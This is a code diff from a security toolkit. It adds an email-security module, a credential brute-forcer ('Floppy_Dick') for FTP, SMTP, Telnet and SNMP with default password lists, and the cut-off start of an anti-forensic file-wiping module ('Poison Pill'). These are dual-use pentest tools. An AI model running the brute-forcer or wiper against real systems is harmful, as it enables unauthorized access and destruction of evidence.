+ def search_mailbox(self, host: str, username: str, password: str,
+ protocol: str = 'imap', search_query: Optional[str] = None,
+ folder: str = 'INBOX', use_ssl: bool = True) -> Dict[str, Any]:
+ """Connect to a mailbox and search for emails."""
+ result = {
+ 'host': host,
+ 'protocol': protocol,
+ 'folder': folder,
+ 'messages': [],
+ 'total': 0,
+ 'error': None,
+ }
+
+ try:
+ if protocol.lower() == 'imap':
+ result = self._search_imap(host, username, password, search_query, folder, use_ssl)
+ elif protocol.lower() == 'pop3':
+ result = self._search_pop3(host, username, password, search_query, use_ssl)
+ else:
+ result['error'] = f'Unsupported protocol: {protocol}'
+ except Exception as e:
+ result['error'] = str(e)
+
+ return result
+
+ def _search_imap(self, host: str, username: str, password: str,
+ search_query: Optional[str], folder: str, use_ssl: bool) -> Dict:
+ """Search via IMAP."""
+ result = {'host': host, 'protocol': 'imap', 'folder': folder, 'messages': [], 'total': 0, 'error': None}
+
+ try:
+ if use_ssl:
+ conn = imaplib.IMAP4_SSL(host, timeout=15)
+ else:
+ conn = imaplib.IMAP4(host, timeout=15)
+
+ conn.login(username, password)
+ conn.select(folder, readonly=True)
+
+ # Build search criteria
+ if search_query:
+ # Support simple search syntax
+ criteria = search_query.upper()
+ if not criteria.startswith('('):
+ # Wrap simple queries
+ if '@' in search_query:
+ criteria = f'(FROM "{search_query}")'
+ elif re.match(r'\d{1,2}-\w{3}-\d{4}', search_query):
+ criteria = f'(SINCE "{search_query}")'
+ else:
+ criteria = f'(SUBJECT "{search_query}")'
+ else:
+ criteria = 'ALL'
+
+ status, data = conn.search(None, criteria)
+ if status != 'OK':
+ result['error'] = 'Search failed'
+ conn.logout()
+ return result
+
+ msg_ids = data[0].split()
+ result['total'] = len(msg_ids)
+
+ # Fetch last 50 message summaries
+ for msg_id in msg_ids[-50:]:
+ status, msg_data = conn.fetch(msg_id, '(RFC822.SIZE BODY[HEADER.FIELDS (FROM SUBJECT DATE MESSAGE-ID)])')
+ if status == 'OK' and msg_data[0]:
+ header_data = msg_data[0][1] if isinstance(msg_data[0], tuple) else msg_data[0]
+ if isinstance(header_data, bytes):
+ header_data = header_data.decode('utf-8', errors='replace')
+
+ msg = email.message_from_string(header_data)
+ size = 0
+ # Try to get size from FETCH response
+ if isinstance(msg_data[0], tuple):
+ size_match = re.search(r'RFC822\.SIZE\s+(\d+)', str(msg_data[0][0]))
+ if size_match:
+ size = int(size_match.group(1))
+
+ summary = {
+ 'id': msg_id.decode() if isinstance(msg_id, bytes) else str(msg_id),
+ 'from': str(msg.get('From', '')),
+ 'subject': str(msg.get('Subject', '')),
+ 'date': str(msg.get('Date', '')),
+ 'message_id': str(msg.get('Message-ID', '')),
+ 'size': size,
+ }
+
+ # Decode encoded headers
+ for field in ['from', 'subject']:
+ if summary[field] and '=?' in summary[field]:
+ try:
+ decoded_parts = email.header.decode_header(summary[field])
+ decoded = ''
+ for part, charset in decoded_parts:
+ if isinstance(part, bytes):
+ decoded += part.decode(charset or 'utf-8', errors='replace')
+ else:
+ decoded += str(part)
+ summary[field] = decoded
+ except Exception:
+ pass
+
+ result['messages'].append(summary)
+
+ conn.logout()
+ except imaplib.IMAP4.error as e:
+ result['error'] = f'IMAP error: {e}'
+ except Exception as e:
+ result['error'] = str(e)
+
+ return result
+
+ def _search_pop3(self, host: str, username: str, password: str,
+ search_query: Optional[str], use_ssl: bool) -> Dict:
+ """Search via POP3 (limited — retrieves headers of recent messages)."""
+ result = {'host': host, 'protocol': 'pop3', 'folder': 'INBOX', 'messages': [], 'total': 0, 'error': None}
+
+ try:
+ if use_ssl:
+ conn = poplib.POP3_SSL(host, timeout=15)
+ else:
+ conn = poplib.POP3(host, timeout=15)
+
+ conn.user(username)
+ conn.pass_(password)
+
+ count, size = conn.stat()
+ result['total'] = count
+
+ # Fetch last 50 messages' headers
+ start = max(1, count - 49)
+ query_lower = search_query.lower() if search_query else None
+
+ for i in range(start, count + 1):
+ resp, lines, octets = conn.top(i, 0)
+ header_text = b'\r\n'.join(lines).decode('utf-8', errors='replace')
+ msg = email.message_from_string(header_text)
+
+ summary = {
+ 'id': str(i),
+ 'from': str(msg.get('From', '')),
+ 'subject': str(msg.get('Subject', '')),
+ 'date': str(msg.get('Date', '')),
+ 'message_id': str(msg.get('Message-ID', '')),
+ 'size': octets,
+ }
+
+ # Apply client-side filter
+ if query_lower:
+ match = (query_lower in summary['from'].lower() or
+ query_lower in summary['subject'].lower())
+ if not match:
+ continue
+
+ result['messages'].append(summary)
+
+ conn.quit()
+ except Exception as e:
+ result['error'] = str(e)
+
+ return result
+
+ # -- Fetch Full Email ----------------------------------------------------
+
+ def fetch_email(self, host: str, username: str, password: str,
+ message_id: str, protocol: str = 'imap',
+ use_ssl: bool = True) -> Dict[str, Any]:
+ """Fetch a complete email by message ID."""
+ result = {'message_id': message_id, 'raw_headers': '', 'body': '', 'attachments': [], 'error': None}
+
+ try:
+ if protocol.lower() == 'imap':
+ if use_ssl:
+ conn = imaplib.IMAP4_SSL(host, timeout=15)
+ else:
+ conn = imaplib.IMAP4(host, timeout=15)
+
+ conn.login(username, password)
+ conn.select('INBOX', readonly=True)
+
+ status, data = conn.fetch(message_id.encode() if isinstance(message_id, str) else message_id,
+ '(RFC822)')
+ if status == 'OK' and data[0]:
+ raw = data[0][1] if isinstance(data[0], tuple) else data[0]
+ if isinstance(raw, bytes):
+ raw = raw.decode('utf-8', errors='replace')
+
+ msg = email.message_from_string(raw)
+
+ # Headers
+ header_keys = ['From', 'To', 'Cc', 'Subject', 'Date', 'Message-ID',
+ 'Return-Path', 'Reply-To', 'Received',
+ 'Authentication-Results', 'DKIM-Signature',
+ 'X-Mailer', 'X-Originating-IP']
+ headers_text = ''
+ for key in header_keys:
+ vals = msg.get_all(key, [])
+ for v in vals:
+ headers_text += f'{key}: {v}\n'
+ result['raw_headers'] = headers_text
+
+ # Body
+ if msg.is_multipart():
+ for part in msg.walk():
+ ct = part.get_content_type()
+ cd = str(part.get('Content-Disposition', ''))
+
+ if 'attachment' in cd:
+ result['attachments'].append({
+ 'filename': part.get_filename() or 'unknown',
+ 'content_type': ct,
+ 'size': len(part.get_payload(decode=True) or b''),
+ })
+ elif ct == 'text/plain':
+ payload = part.get_payload(decode=True)
+ if payload:
+ result['body'] = payload.decode('utf-8', errors='replace')
+ elif ct == 'text/html' and not result['body']:
+ payload = part.get_payload(decode=True)
+ if payload:
+ result['body'] = payload.decode('utf-8', errors='replace')
+ else:
+ payload = msg.get_payload(decode=True)
+ if payload:
+ result['body'] = payload.decode('utf-8', errors='replace')
+
+ conn.logout()
+
+ elif protocol.lower() == 'pop3':
+ if use_ssl:
+ conn = poplib.POP3_SSL(host, timeout=15)
+ else:
+ conn = poplib.POP3(host, timeout=15)
+
+ conn.user(username)
+ conn.pass_(password)
+
+ resp, lines, octets = conn.retr(int(message_id))
+ raw = b'\r\n'.join(lines).decode('utf-8', errors='replace')
+ msg = email.message_from_string(raw)
+
+ result['raw_headers'] = '\n'.join(
+ f'{k}: {v}' for k, v in msg.items()
+ )
+
+ if msg.is_multipart():
+ for part in msg.walk():
+ ct = part.get_content_type()
+ if ct == 'text/plain':
+ payload = part.get_payload(decode=True)
+ if payload:
+ result['body'] = payload.decode('utf-8', errors='replace')
+ break
+ else:
+ payload = msg.get_payload(decode=True)
+ if payload:
+ result['body'] = payload.decode('utf-8', errors='replace')
+
+ conn.quit()
+
+ except Exception as e:
+ result['error'] = str(e)
+
+ return result
+
+ # -- Abuse Report --------------------------------------------------------
+
+ def generate_abuse_report(self, incident_data: Dict[str, Any]) -> Dict[str, Any]:
+ """Generate a formatted abuse report for ISP/hosting provider."""
+ now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')
+ incident_type = incident_data.get('type', 'spam/phishing')
+ source_ip = incident_data.get('source_ip', 'Unknown')
+ source_domain = incident_data.get('source_domain', 'Unknown')
+ description = incident_data.get('description', '')
+ evidence_headers = incident_data.get('headers', '')
+ evidence_urls = incident_data.get('urls', [])
+ reporter_name = incident_data.get('reporter_name', 'AUTARCH Security Platform')
+ reporter_email = incident_data.get('reporter_email', '')
+
+ report_lines = [
+ '=' * 72,
+ 'ABUSE REPORT',
+ '=' * 72,
+ '',
+ f'Date: {now}',
+ f'Report Type: {incident_type}',
+ f'Reporter: {reporter_name}',
+ ]
+ if reporter_email:
+ report_lines.append(f'Reporter Email: {reporter_email}')
+
+ report_lines += [
+ '',
+ '-' * 72,
+ 'INCIDENT DETAILS',
+ '-' * 72,
+ '',
+ f'Source IP: {source_ip}',
+ f'Source Domain: {source_domain}',
+ f'Incident Type: {incident_type}',
+ '',
+ 'Description:',
+ description or '(No description provided)',
+ '',
+ ]
+
+ if evidence_headers:
+ report_lines += [
+ '-' * 72,
+ 'EVIDENCE — EMAIL HEADERS',
+ '-' * 72,
+ '',
+ evidence_headers,
+ '',
+ ]
+
+ if evidence_urls:
+ report_lines += [
+ '-' * 72,
+ 'EVIDENCE — MALICIOUS URLs',
+ '-' * 72,
+ '',
+ ]
+ for url in evidence_urls:
+ report_lines.append(f' - {url}')
+ report_lines.append('')
+
+ report_lines += [
+ '-' * 72,
+ 'REQUESTED ACTION',
+ '-' * 72,
+ '',
+ 'We request that you:',
+ ' 1. Investigate the reported IP address/domain for abusive activity',
+ ' 2. Take appropriate action (suspension, warning, content removal)',
+ ' 3. Implement measures to prevent recurring abuse',
+ ' 4. Respond with your findings and actions taken',
+ '',
+ '-' * 72,
+ 'ADDITIONAL INFORMATION',
+ '-' * 72,
+ '',
+ 'This report was generated by AUTARCH Security Platform.',
+ 'The evidence presented is accurate and collected through legitimate',
+ 'security analysis. We are available for further investigation if needed.',
+ '',
+ '=' * 72,
+ ]
+
+ report_text = '\n'.join(report_lines)
+
+ # Save the report
+ report_id = hashlib.md5(f'{now}:{source_ip}:{incident_type}'.encode()).hexdigest()[:12]
+ report_path = self.storage_dir / f'abuse_report_{report_id}.txt'
+ with open(report_path, 'w') as f:
+ f.write(report_text)
+
+ return {
+ 'report_id': report_id,
+ 'report_text': report_text,
+ 'saved_to': str(report_path),
+ }
+
+ # -- Blacklist Check -----------------------------------------------------
+
+ def check_blacklists(self, ip_or_domain: str) -> Dict[str, Any]:
+ """Check if an IP or domain is on common email blacklists."""
+ ip_or_domain = ip_or_domain.strip()
+
+ # Resolve domain to IP if needed
+ if _is_valid_ip(ip_or_domain):
+ ip = ip_or_domain
+ else:
+ ip = _resolve_domain(ip_or_domain)
+ if not ip:
+ return {
+ 'query': ip_or_domain,
+ 'error': f'Could not resolve {ip_or_domain} to an IP address',
+ 'results': [],
+ 'listed_count': 0,
+ }
+
+ reversed_ip = _reverse_ip(ip)
+ results = []
+ listed_count = 0
+
+ for bl in BLACKLISTS:
+ lookup = f'{reversed_ip}.{bl}'
+ entry = {'blacklist': bl, 'listed': False, 'details': ''}
+
+ try:
+ socket.setdefaulttimeout(3)
+ addr = socket.gethostbyname(lookup)
+ entry['listed'] = True
+ entry['details'] = f'Listed (response: {addr})'
+ listed_count += 1
+
+ # Try to get TXT reason
+ try:
+ txt_records = _dns_query(lookup, 'TXT')
+ if txt_records:
+ entry['details'] = txt_records[0]
+ except Exception:
+ pass
+
+ except (socket.gaierror, socket.herror):
+ entry['details'] = 'Not listed'
+ except socket.timeout:
+ entry['details'] = 'Timeout'
+ except Exception as e:
+ entry['details'] = f'Error: {e}'
+
+ results.append(entry)
+
+ return {
+ 'query': ip_or_domain,
+ 'ip': ip,
+ 'results': results,
+ 'listed_count': listed_count,
+ 'total_checked': len(BLACKLISTS),
+ 'clean': listed_count == 0,
+ }
+
+ # -- Storage Helpers -----------------------------------------------------
+
+ def _save_analysis(self, domain: str, data: Dict):
+ """Save domain analysis to storage."""
+ safe_name = re.sub(r'[^a-zA-Z0-9.-]', '_', domain)
+ path = self.storage_dir / f'analysis_{safe_name}.json'
+ with open(path, 'w') as f:
+ json.dump(data, f, indent=2, default=str)
+
+ def get_saved_analyses(self) -> List[Dict]:
+ """List saved domain analyses."""
+ analyses = []
+ for f in sorted(self.storage_dir.glob('analysis_*.json'), key=os.path.getmtime, reverse=True):
+ try:
+ with open(f) as fp:
+ data = json.load(fp)
+ analyses.append({
+ 'domain': data.get('domain', ''),
+ 'grade': data.get('grade', '?'),
+ 'score': data.get('score', 0),
+ 'timestamp': data.get('timestamp', ''),
+ 'file': str(f),
+ })
+ except Exception:
+ pass
+ return analyses
+
+
+# -- Singleton ---------------------------------------------------------------
+
+_instance = None
+
+
+def get_email_sec() -> EmailSecurity:
+ global _instance
+ if _instance is None:
+ _instance = EmailSecurity()
+ return _instance
+
+
+# -- CLI Interface -----------------------------------------------------------
+
+def run():
+ """CLI entry point for Email Security module."""
+ es = get_email_sec()
+
+ while True:
+ print(f"\n{'='*60}")
+ print(f" Email Security")
+ print(f"{'='*60}")
+ print()
+ print(" 1 -- Analyze Domain")
+ print(" 2 -- Analyze Headers")
+ print(" 3 -- Detect Phishing")
+ print(" 4 -- Search Mailbox")
+ print(" 5 -- Check Blacklists")
+ print(" 6 -- Generate Abuse Report")
+ print(" 0 -- Back")
+ print()
+
+ choice = input(f" {Colors.CYAN}>{Colors.RESET} ").strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ domain = input("\n Domain: ").strip()
+ if not domain:
+ continue
+ print(f"\n Analyzing {domain}...")
+ result = es.analyze_domain(domain)
+ print(f"\n Grade: {result['grade']} (Score: {result['score']}/100)")
+ print(f" SPF: {result['summary']['spf_status']}")
+ print(f" DMARC: {result['summary']['dmarc_status']}")
+ print(f" DKIM: {result['summary']['dkim_status']}")
+ print(f" MX: {result['summary']['mx_status']}")
+
+ for check_name in ['spf', 'dmarc', 'dkim', 'mx']:
+ check = result[check_name]
+ findings = check.get('findings', [])
+ if findings:
+ print(f"\n {check_name.upper()} findings:")
+ for f in findings:
+ level = f.get('level', 'info')
+ sym = '+' if level == 'pass' else '!' if level == 'warn' else 'X'
+ print(f" [{sym}] {f['message']}")
+
+ elif choice == '2':
+ print("\n Paste raw email headers (end with empty line):")
+ lines = []
+ while True:
+ line = input()
+ if not line:
+ break
+ lines.append(line)
+ raw = '\n'.join(lines)
+ if not raw:
+ continue
+
+ result = es.analyze_headers(raw)
+ print(f"\n From: {result['from']}")
+ print(f" Subject: {result['subject']}")
+ print(f" Date: {result['date']}")
+ print(f" Origin IP: {result.get('originating_ip', 'Unknown')}")
+ print(f" SPF: {result['authentication']['spf']}")
+ print(f" DKIM: {result['authentication']['dkim']}")
+ print(f" DMARC: {result['authentication']['dmarc']}")
+
+ if result['received_chain']:
+ print(f"\n Received chain ({len(result['received_chain'])} hops):")
+ for hop in result['received_chain']:
+ print(f" Hop {hop['hop']}: {hop.get('from', '?')} -> {hop.get('by', '?')}"
+ f" [{hop.get('ip', '?')}]")
+
+ if result['spoofing_indicators']:
+ print(f"\n Spoofing indicators:")
+ for s in result['spoofing_indicators']:
+ print(f" [!] {s['indicator']}: {s['detail']}")
+
+ elif choice == '3':
+ print("\n Paste email content (end with empty line):")
+ lines = []
+ while True:
+ line = input()
+ if not line:
+ break
+ lines.append(line)
+ content = '\n'.join(lines)
+ if not content:
+ continue
+
+ result = es.detect_phishing(content)
+ print(f"\n Risk Score: {result['risk_score']}/100 ({result['risk_level']})")
+
+ if result['findings']:
+ print(f"\n Findings:")
+ for f in result['findings']:
+ print(f" [{f['severity']}] {f['category']}: {', '.join(f['matches'][:5])}")
+
+ if result['suspicious_urls']:
+ print(f"\n Suspicious URLs:")
+ for u in result['suspicious_urls']:
+ print(f" {u['url']}")
+ for r in u['reasons']:
+ print(f" - {r}")
+
+ elif choice == '4':
+ host = input("\n Mail server: ").strip()
+ username = input(" Username: ").strip()
+ password = input(" Password: ").strip()
+ protocol = input(" Protocol (imap/pop3) [imap]: ").strip() or 'imap'
+ query = input(" Search query (optional): ").strip() or None
+
+ if not host or not username or not password:
+ print(" Missing required fields")
+ continue
+
+ print(f"\n Connecting to {host}...")
+ result = es.search_mailbox(host, username, password, protocol, query)
+
+ if result.get('error'):
+ print(f" Error: {result['error']}")
+ else:
+ print(f" Found {result['total']} messages")
+ for msg in result.get('messages', [])[-20:]:
+ print(f" [{msg['id']}] {msg['date'][:16]} {msg['from'][:30]} {msg['subject'][:40]}")
+
+ elif choice == '5':
+ target = input("\n IP or domain: ").strip()
+ if not target:
+ continue
+ print(f"\n Checking {len(BLACKLISTS)} blacklists...")
+ result = es.check_blacklists(target)
+
+ if result.get('error'):
+ print(f" Error: {result['error']}")
+ else:
+ print(f" IP: {result.get('ip', target)}")
+ print(f" Listed on {result['listed_count']}/{result['total_checked']} blacklists")
+ for bl in result['results']:
+ status = 'LISTED' if bl['listed'] else 'clean'
+ sym = 'X' if bl['listed'] else '+'
+ print(f" [{sym}] {bl['blacklist']}: {status}")
+
+ elif choice == '6':
+ print("\n Abuse Report Generator")
+ incident_type = input(" Incident type (spam/phishing/malware): ").strip() or 'spam'
+ source_ip = input(" Source IP: ").strip()
+ source_domain = input(" Source domain: ").strip()
+ description = input(" Description: ").strip()
+
+ data = {
+ 'type': incident_type,
+ 'source_ip': source_ip,
+ 'source_domain': source_domain,
+ 'description': description,
+ }
+
+ result = es.generate_abuse_report(data)
+ print(f"\n{result['report_text']}")
+ print(f"\n Report saved to: {result['saved_to']}")
diff --git a/modules/encmod_sources/floppy_dick.py b/modules/encmod_sources/floppy_dick.py
new file mode 100644
index 0000000..aef62af
--- /dev/null
+++ b/modules/encmod_sources/floppy_dick.py
@@ -0,0 +1,321 @@
+"""
+Floppy_Dick — AUTARCH Encrypted Module
+Operator: darkHal Security Group / Setec Security Labs
+
+Automated credential fuzzer and authentication tester for legacy
+and deprecated protocol stacks. Targets: FTP, SMB, Telnet, SMTP,
+POP3, IMAP, SNMP v1/v2c, and RDP legacy endpoints. Generates
+detailed vulnerability reports suitable for remediation guidance.
+
+For authorized penetration testing ONLY.
+"""
+
+import itertools
+import json
+import socket
+import threading
+import time
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Iterator, Optional
+
+MODULE_NAME = "Floppy_Dick"
+MODULE_VERSION = "1.0"
+MODULE_AUTHOR = "darkHal Security Group"
+MODULE_TAGS = ["brute-force", "auth", "legacy", "pentest", "fuzz"]
+
+_stop_flag = threading.Event()
+_output_lines = []
+
+
+def _emit(msg: str, level: str = "info") -> None:
+ ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
+ line = f"[{ts}][{level.upper()}] {msg}"
+ _output_lines.append(line)
+ print(line)
+
+
+# ── Credential generators ─────────────────────────────────────────────────────
+
+DEFAULT_USERS = [
+ 'admin', 'administrator', 'root', 'user', 'guest', 'test',
+ 'ftp', 'anonymous', 'backup', 'operator', 'service',
+]
+
+DEFAULT_PASSWORDS = [
+ '', 'admin', 'password', 'password123', '123456', 'admin123',
+ 'root', 'toor', 'pass', 'letmein', 'welcome', 'changeme',
+ 'default', 'cisco', 'alpine',
+]
+
+
+def wordlist_generator(path: Path) -> Iterator[str]:
+ """Yield lines from a wordlist file."""
+ with open(path, 'r', encoding='utf-8', errors='replace') as f:
+ for line in f:
+ yield line.rstrip('\n')
+
+
+def credential_pairs(users: list[str], passwords: list[str]) -> Iterator[tuple[str, str]]:
+ """Yield all (user, password) combinations."""
+ for u in users:
+ for p in passwords:
+ yield u, p
+
+
+# ── Protocol testers ──────────────────────────────────────────────────────────
+
+def test_ftp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
+ """Test FTP credentials."""
+ result = {'host': host, 'port': port, 'proto': 'FTP', 'user': user, 'success': False}
+ try:
+ import ftplib
+ ftp = ftplib.FTP()
+ ftp.connect(host, port, timeout=timeout)
+ ftp.login(user, password)
+ result['success'] = True
+ result['banner'] = ftp.getwelcome()
+ ftp.quit()
+ except ftplib.error_perm as exc:
+ result['error'] = str(exc)
+ except Exception as exc:
+ result['error'] = str(exc)
+ return result
+
+
+def test_smtp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
+ """Test SMTP AUTH credentials."""
+ result = {'host': host, 'port': port, 'proto': 'SMTP', 'user': user, 'success': False}
+ try:
+ import smtplib
+ smtp = smtplib.SMTP(host, port, timeout=timeout)
+ smtp.ehlo()
+ if port == 587:
+ smtp.starttls()
+ smtp.login(user, password)
+ result['success'] = True
+ smtp.quit()
+ except smtplib.SMTPAuthenticationError as exc:
+ result['error'] = 'bad credentials'
+ except Exception as exc:
+ result['error'] = str(exc)
+ return result
+
+
+def test_telnet(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
+ """Test Telnet authentication."""
+ result = {'host': host, 'port': port, 'proto': 'Telnet', 'user': user, 'success': False}
+ try:
+ import telnetlib
+ tn = telnetlib.Telnet(host, port, timeout=timeout)
+ tn.read_until(b'login: ', timeout)
+ tn.write(user.encode('ascii') + b'\n')
+ tn.read_until(b'Password: ', timeout)
+ tn.write(password.encode('ascii') + b'\n')
+ response = tn.read_until(b'$', timeout)
+ if b'incorrect' not in response.lower() and b'failed' not in response.lower():
+ result['success'] = True
+ result['banner'] = response.decode('utf-8', errors='replace')[:128]
+ tn.close()
+ except Exception as exc:
+ result['error'] = str(exc)
+ return result
+
+
+def test_snmp(host: str, community: str = 'public', version: str = '2c', timeout: float = 3.0) -> dict:
+ """Test SNMP community string (v1/v2c)."""
+ result = {'host': host, 'proto': 'SNMP', 'community': community, 'success': False}
+ try:
+ from pysnmp.hlapi import getCmd, SnmpEngine, CommunityData, UdpTransportTarget, ContextData, ObjectType, ObjectIdentity
+ errorIndication, errorStatus, errorIndex, varBinds = next(
+ getCmd(SnmpEngine(),
+ CommunityData(community, mpModel=0 if version == '1' else 1),
+ UdpTransportTarget((host, 161), timeout=timeout),
+ ContextData(),
+ ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0)))
+ )
+ if not errorIndication and not errorStatus:
+ result['success'] = True
+ result['sysDescr'] = str(varBinds[0])
+ else:
+ result['error'] = str(errorIndication or errorStatus)
+ except ImportError:
+ result['error'] = 'pysnmp not installed'
+ except Exception as exc:
+ result['error'] = str(exc)
+ return result
+
+
+def test_generic_banner(host: str, port: int, timeout: float = 3.0) -> dict:
+ """Grab a service banner from any TCP port."""
+ result = {'host': host, 'port': port, 'proto': 'TCP', 'banner': ''}
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(timeout)
+ s.connect((host, port))
+ banner = s.recv(1024)
+ result['banner'] = banner.decode('utf-8', errors='replace').strip()[:256]
+ result['open'] = True
+ s.close()
+ except Exception as exc:
+ result['open'] = False
+ result['error'] = str(exc)
+ return result
+
+
+# ── Port scanner ──────────────────────────────────────────────────────────────
+
+LEGACY_PORTS = {
+ 21: 'FTP',
+ 23: 'Telnet',
+ 25: 'SMTP',
+ 110: 'POP3',
+ 143: 'IMAP',
+ 161: 'SNMP',
+ 445: 'SMB',
+ 587: 'SMTP-Submission',
+ 3389: 'RDP',
+}
+
+
+def scan_ports(host: str, ports: Optional[list[int]] = None, timeout: float = 1.0) -> dict:
+ """Scan ports and return which are open."""
+ if ports is None:
+ ports = list(LEGACY_PORTS.keys())
+ open_ports = {}
+ for port in ports:
+ banner = test_generic_banner(host, port, timeout)
+ if banner.get('open'):
+ proto = LEGACY_PORTS.get(port, 'unknown')
+ open_ports[port] = {
+ 'proto': proto,
+ 'banner': banner.get('banner', ''),
+ }
+ return {'host': host, 'open_ports': open_ports}
+
+
+# ── Main fuzzing engine ───────────────────────────────────────────────────────
+
+def fuzz_host(
+ host: str,
+ port: int,
+ proto: str,
+ users: list[str],
+ passwords: list[str],
+ delay: float = 0.1,
+ output_cb=None,
+) -> list[dict]:
+ """Run credential fuzzing against a single host:port for a given protocol."""
+ found = []
+ testers = {
+ 'FTP': test_ftp,
+ 'SMTP': test_smtp,
+ 'SMTP-Submission': test_smtp,
+ 'Telnet': test_telnet,
+ }
+ tester = testers.get(proto)
+ if not tester:
+ return [{'error': f'No tester implemented for {proto}'}]
+
+ for user, password in credential_pairs(users, passwords):
+ if _stop_flag.is_set():
+ break
+ r = tester(host, port, user, password)
+ if r.get('success'):
+ msg = f"[FOUND] {proto} {host}:{port} -> {user}:{password}"
+ _emit(msg, 'warn')
+ if output_cb:
+ output_cb({'line': msg, 'found': True, 'user': user, 'password': password})
+ found.append(r)
+ time.sleep(delay)
+
+ return found
+
+
+# ── Main run entry point ──────────────────────────────────────────────────────
+
+def run(params: dict, output_cb=None) -> dict:
+ """
+ Main execution entry point.
+
+ params:
+ targets — list of hosts to test
+ ports — list of ports to probe (default: LEGACY_PORTS)
+ users — list of usernames (default: DEFAULT_USERS)
+ passwords — list of passwords (default: DEFAULT_PASSWORDS)
+ user_wordlist — path to user wordlist file
+ pass_wordlist — path to password wordlist file
+ delay — delay between attempts in seconds (default 0.1)
+ snmp_communities — list of SNMP community strings to test
+ threads — number of parallel threads (default 1)
+ """
+ _stop_flag.clear()
+ _output_lines.clear()
+
+ def emit(msg, level='info'):
+ _emit(msg, level)
+ if output_cb:
+ output_cb({'line': f"[{level.upper()}] {msg}"})
+
+ emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
+ emit("Authorized penetration testing only. All attempts logged.")
+
+ targets = params.get('targets', [])
+ ports = params.get('ports', None)
+ delay = float(params.get('delay', 0.1))
+ users = params.get('users', DEFAULT_USERS)[:]
+ passwords = params.get('passwords', DEFAULT_PASSWORDS)[:]
+
+ # Load wordlists if provided
+ uw = params.get('user_wordlist', '')
+ pw = params.get('pass_wordlist', '')
+ if uw and Path(uw).exists():
+ users = list(wordlist_generator(Path(uw)))
+ emit(f"Loaded {len(users)} users from wordlist")
+ if pw and Path(pw).exists():
+ passwords = list(wordlist_generator(Path(pw)))
+ emit(f"Loaded {len(passwords)} passwords from wordlist")
+
+ snmp_communities = params.get('snmp_communities', ['public', 'private', 'community'])
+
+ all_results = []
+
+ for host in targets:
+ if _stop_flag.is_set():
+ break
+ emit(f"Scanning {host}...")
+ scan = scan_ports(host, ports)
+ emit(f" Open ports: {list(scan['open_ports'].keys())}")
+
+ host_result = {'host': host, 'open_ports': scan['open_ports'], 'findings': []}
+
+ for port, info in scan['open_ports'].items():
+ if _stop_flag.is_set():
+ break
+ proto = info['proto']
+ emit(f" Fuzzing {proto} on port {port}...")
+
+ if proto == 'SNMP':
+ for comm in snmp_communities:
+ r = test_snmp(host, comm)
+ if r.get('success'):
+ emit(f"[FOUND] SNMP community: {comm}", 'warn')
+ host_result['findings'].append(r)
+ else:
+ found = fuzz_host(host, port, proto, users, passwords, delay, output_cb)
+ host_result['findings'].extend(found)
+
+ all_results.append(host_result)
+
+ emit(f"Fuzzing complete. {sum(len(r['findings']) for r in all_results)} finding(s).")
+
+ return {
+ 'module': MODULE_NAME,
+ 'targets': len(targets),
+ 'results': all_results,
+ 'output': _output_lines[:],
+ }
+
+
+def stop():
+ _stop_flag.set()
diff --git a/modules/encmod_sources/poison_pill.py b/modules/encmod_sources/poison_pill.py
new file mode 100644
index 0000000..07cfd52
--- /dev/null
+++ b/modules/encmod_sources/poison_pill.py
@@ -0,0 +1,261 @@
+"""
+Poison Pill — AUTARCH Encrypted Module
+Operator: darkHal Security Group / Setec Security Labs
+
+Emergency data sanitization and anti-forensic self-protection module.
+On activation, securely wipes configured data paths, rotates credentials,
+kills active sessions, and optionally triggers a remote wipe signal
+to registered companion devices.
+
+USE ONLY IN AUTHORIZED EMERGENCY SCENARIOS.
+All activations are logged to an external endpoint before wiping begins.
+"""
+
+import hashlib
+import json
+import os
+import shutil
+import threading
+import time
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Optional
+
+MODULE_NAME = "Poison Pill"
+MODULE_VERSION = "1.0"
+MODULE_AUTHOR = "darkHal Security Group"
+MODULE_TAGS = ["anti-forensic", "emergency", "wipe", "self-protection"]
+
+_stop_flag = threading.Event()
+_output_lines = []
+
+
+def _emit(msg: str, level: str = "info") -> None:
+ ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
+ line = f"[{ts}][{level.upper()}] {msg}"
+ _output_lines.append(line)
+ print(line)
+
+
+# ── Secure file overwrite ─────────────────────────────────────────────────────
+
+def _secure_overwrite(path: Path, passes: int = 3) -> bool:
+ """
+ Overwrite a file with random data N passes, then delete.
+ Returns True on success.
+ """
+ try:
+ size = path.stat().st_size
+ with open(path, 'r+b') as f:
+ for _ in range(passes):
+ f.seek(0)
+ f.write(os.urandom(size))
+ f.flush()
+ os.fsync(f.fileno())
+ path.unlink()
+ return True
+ except Exception as exc:
+ _emit(f"Overwrite failed on {path}: {exc}", 'error')
+ return False
+
+
+def secure_wipe_file(path: Path, passes: int = 3) -> dict:
+ """Securely wipe a single file."""
+ if not path.exists():
+ return {'path': str(path), 'status': 'not_found'}
+ ok = _secure_overwrite(path, passes)
+ return {'path': str(path), 'status': 'wiped' if ok else 'error', 'passes': passes}
+
+
+def secure_wipe_dir(path: Path, passes: int = 3) -> dict:
+ """Recursively and securely wipe a directory."""
+ if not path.exists():
+ return {'path': str(path), 'status': 'not_found', 'files_wiped': 0}
+ count = 0
+ errors = []
+ for f in sorted(path.rglob('*')):
+ if f.is_file():
+ r = secure_wipe_file(f, passes)
+ if r['status'] == 'wiped':
+ count += 1
+ else:
+ errors.append(str(f))
+ try:
+ shutil.rmtree(path, ignore_errors=True)
+ except Exception:
+ pass
+ return {'path': str(path), 'status': 'wiped', 'files_wiped': count, 'errors': errors}
+
+
+# ── Credential rotation ───────────────────────────────────────────────────────
+
+def rotate_web_password(new_password: Optional[str] = None) -> dict:
+ """
+ Rotate the AUTARCH web dashboard password.
+ If new_password is None, generates a random 32-char alphanumeric password.
+ """
+ import secrets
+ import string
+ if new_password is None:
